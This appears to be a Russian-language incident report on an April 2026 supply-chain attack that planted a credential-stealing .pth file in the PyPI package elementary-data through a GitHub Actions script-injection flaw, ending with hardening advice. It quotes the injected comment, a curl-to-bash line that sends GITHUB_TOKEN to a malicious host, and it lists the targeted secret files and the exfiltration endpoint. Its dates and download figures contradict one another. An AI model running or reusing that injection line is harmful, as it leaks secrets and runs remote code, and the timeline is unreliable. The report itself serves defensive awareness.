Как заражённый пакет elementary-data украл миллионы секретов через GitHub Actions
В апреле 2026 года злоумышленники воспользовались уязвимостью в CI/CD и автоматизированной публикацией, чтобы внедрить вредоносный код в пакет elementary-data. За три дня заражённая версия была скачана более миллиона раз, собрав SSH-ключи, токены облачных сервисов, конфигурации Kubernetes и криптов…
Как 1,2 миллиона скачиваний в месяц превратились в канал для кражи секретов
24 апреля 2026 года в 22:20 UTC в каталоге PyPI и в GitHub Container Registry появилась версия 0.23.3 пакета elementary-data — инструмента для мониторинга данных в dbt. Пакет выглядел легитимно, но имел одну особенность: он был заражён. Спустя три дня, 26 апреля, вредоносный файл был обнаружен, а чистая версия 0.23.4 выпущена и размещена вместо него. За три дня с 21 по 24 апреля злоумышленник успел накачать заражённую версию более миллиона раз — и этого хватило, чтобы украсть токены, ключи, конфигурации и криптовалютные кошельки у всех, кто установил этот пакет.
Атака не потребовала взлома аккаунтов. Не нужны были уязвимости в коде или сложная социальная инженерия. Всему виной оказались уязвимость в CI/CD, автоматизированная публикация и токен с правами write, который позволял делать всё, что угодно, от имени легитимного пайплайна.
От комментария в PR до поддельного релиза
21 апреля в 22:10 UTC в репозиторий elementary-data был открыт Pull Request #2147. Это был не первый и не последний автосгенерированный PR для синхронизации документации. Но на этот раз в комментарии к PR появилась строка:
'; curl -s http://malicious.site/steal?token=$GITHUB_TOKEN | bash; #
GitHub Actions подхватил комментарий и интерполировал его в блок run: безо всякой санитизации. Это классическая уязвимость script injection, известная с 2020 года. Но в данном случае хватило и этого: вредоносный скрипт выполнился на runner, извлёк токен GITHUB_TOKEN с правами write и приступил к созданию поддельного коммита.
Злоумышленник подписал коммит ключом github-actions[bot]. GitHub автоматически верифицировал подпись, хотя коммит был сфабрикован. Затем он запустил легитимный пайплайн публикации, который собирал и выкладывал заражённый пакет на PyPI и в GHCR. Workflow «завис» на 2 часа 46 минут — этого времени хватило, чтобы замаскировать активность под долгую задачу. К 22:20 UTC 24 апреля вредоносная версия 0.23.3 уже была доступна для скачивания.
elementary.pth: что запускается автоматически при установке пакета
При установке пакета в Python-окружение срабатывает механизм обработки файлов .pth в site-packages. Файл elementary.pth (245 КБ) был размещён в корне пакета. Стоит только импортировать любой модуль из elementary-data — и вредоносный код начинает работать без явного запуска.
Файл содержал двухслойную XOR-расшифровку с MD5-хешами в качестве ключей. Первый ключ — простая строка swabag, второй — контактная фраза:
for any questions: contact 050afbe046d7545f5af1a0d3fcfbaf6e993fd93d487b431f09bc9e963c7220a135 on session
Расшифрованный payload представлял собой скрипт на Python, который собирал:
- SSH-ключи из
~/.ssh/id_*,~/.ssh/known_hosts; - токены GitHub из переменных окружения и файлов
~/.config/gh/hosts.yml; - конфигурации Kubernetes —
~/.kube/config,/etc/kubernetes/*.conf, токены сервисных аккаунтов; - конфигурации Docker —
~/.docker/config.json; - секреты облачных провайдеров: AWS (
~/.aws/credentials, IMDSv2, Secret Manager, SSM Parameter Store), GCP (~/.config/gcloud/), Azure (~/.azure/); - разработческие секреты:
.env*(до 6 уровней вложенности),.npmrc,.pypirc,.cargo/credentials.toml,.vault-token,.netrc,.pgpass,.my.cnf; - криптовалютные кошельки: Bitcoin, Litecoin, Dogecoin, Zcash, Dash, Monero, Ripple, Ethereum (keystore), Cardano, Solana (файлы
validator-keypair.json,id.json); - системные данные:
/etc/passwd,/etc/shadow, истории команд (~/.bash_history,~/.zsh_history,~/.history), логи аутентификации (/var/log/auth.log,/var/log/secure).
Все собранные данные упаковывались в архив trin.tar.gz и отправлялись на удалённый сервер https://igotnofriendsonlineorirl-imgonnakmslmao.skyhanni.cloud с заголовком X-Rise-To-The-Trinny: agree.
Почему не потребовалось взламывать аккаунты: три слабых звена
Первое слабое звено — слишком широкие права токена GITHUB_TOKEN. В старых конфигурациях GitHub Actions токен по умолчанию имеет права write, что позволяет создавать коммиты и теги. Это не баг платформы, а следствие небрежной настройки: минимально необходимые права для большинства пайплайнов — read для репозитория и contents: write только для конкретных веток.
Второе слабое звено — отсутствие санитизации в workflow. В файле .github/workflows/update_pylon_issue.yml комментарий к Pull Request интерполировался в блок run: без проверки. Это классическая уязвимость script injection, известная с 2020 года. Даже если комментарий выглядит безобидно, он может содержать shell-спецсимволы или команды.
Третье слабое звено — автоматизация публикации как точка атаки. Пайплайн для elementary-data собирал и выкладывал пакет на PyPI и GHCR без ручного контроля. Злоумышленник не взламывал аккаунты maintainer — он использовал систему против её владельцев.
Docker-образ с тегом latest: как заражённая версия попала в продакшен
Многие компании в Dockerfile указывают образ без digest, полагаясь на тег latest. В случае с elementary-data заражённая версия 0.23.3 и тег latest в GHCR имели одинаковый digest. Это означало автоматическое распространение вредоноса в продакшен-средах. Если в кластере использовался образ вида ghcr.io/elementary-data/elementary:latest, то он автоматически обновлялся до заражённой версии.
Это не ошибка Docker, а следствие привычки полагаться на «последнюю стабильную» метку. В продакшене образы должны фиксироваться по digest, а теги latest использовать только для разработки.
Как это было обнаружено — и почему могло быть слишком поздно
26 апреля в 02:00 UTC пользователь crisperik заметил, что в основной ветке нет изменений, а в пакете появился подозрительный файл elementary.pth. Команда Elementary оперативно выпустила чистую версию 0.23.4, удалила заражённую из PyPI и GHCR и начала расследование.
Некоторые отчёты указывают, что вредоносный релиз оставался доступен более 11 часов — до 12:45 MSK. Это противоречит другим данным о времени обнаружения, но подчёркивает важность точного мониторинга: даже несколько часов могут привести к массовой компрометации инфраструктуры.
Что именно пострадало: список целевых данных
- Облачные провайдеры: AWS (файлы
~/.aws/credentials, IMDSv2, Secret Manager, SSM Parameter Store), GCP (~/.config/gcloud/), Azure (~/.azure/). - Инфраструктура: Kubernetes (
~/.kube/config,/etc/kubernetes/*.conf, токены сервисных аккаунтов, Secret API), Docker (~/.docker/config.json, конфигурации сервисов). - Разработческие секреты:
.env*(до 6 уровней вложенности),.npmrc,.pypirc,.cargo/credentials.toml,.vault-token,.netrc,.pgpass,.my.cnf, файлы конфигурации CI/CD. - Криптовалюты: кошельки Bitcoin, Litecoin, Dogecoin, Zcash, Dash, Monero, Ripple, Ethereum (keystore), Cardano, Solana (файлы
validator-keypair.json,id.json, приватные ключи). - Системные данные:
/etc/passwd,/etc/shadow, истории команд (~/.bash_history,~/.zsh_history,~/.history), логи аутентификации (/var/log/auth.log,/var/log/secure).
Три вещи, которые стоит сделать сегодня
Первое. Фиксируйте образы по digest, а не по тегам latest. В Dockerfile и Kubernetes-manifests указывайте конкретный digest. Например:
FROM ghcr.io/elementary-data/elementary@sha256:...
Второе. Сократите права токена GITHUB_TOKEN до минимально необходимых. В большинстве пайплайнов достаточно read для репозитория и contents: write только для конкретных веток.
Третье. Проверьте и ротируйте все секреты, которые могли быть скомпрометированы на машинах, где был установлен пакет elementary-data 0.23.3. Даже после удаления пакета вредоносный файл elementary.pth мог остаться в окружении и продолжать сбор данных до перезапуска Python или пересборки образа.
Почему это не единичный инцидент
Атака на elementary-data показала, что supply-chain угрозы в open-source больше не требуют экзотических техник. Достаточно уязвимости в CI/CD, автоматизированной публикации и токена с правами write. Вредоносный код в пакетах — это не будущее, а текущая реальность. И единственная защита — это жесткий контроль инфраструктуры, минимальные права, санитизация входных данных и фиксация версий.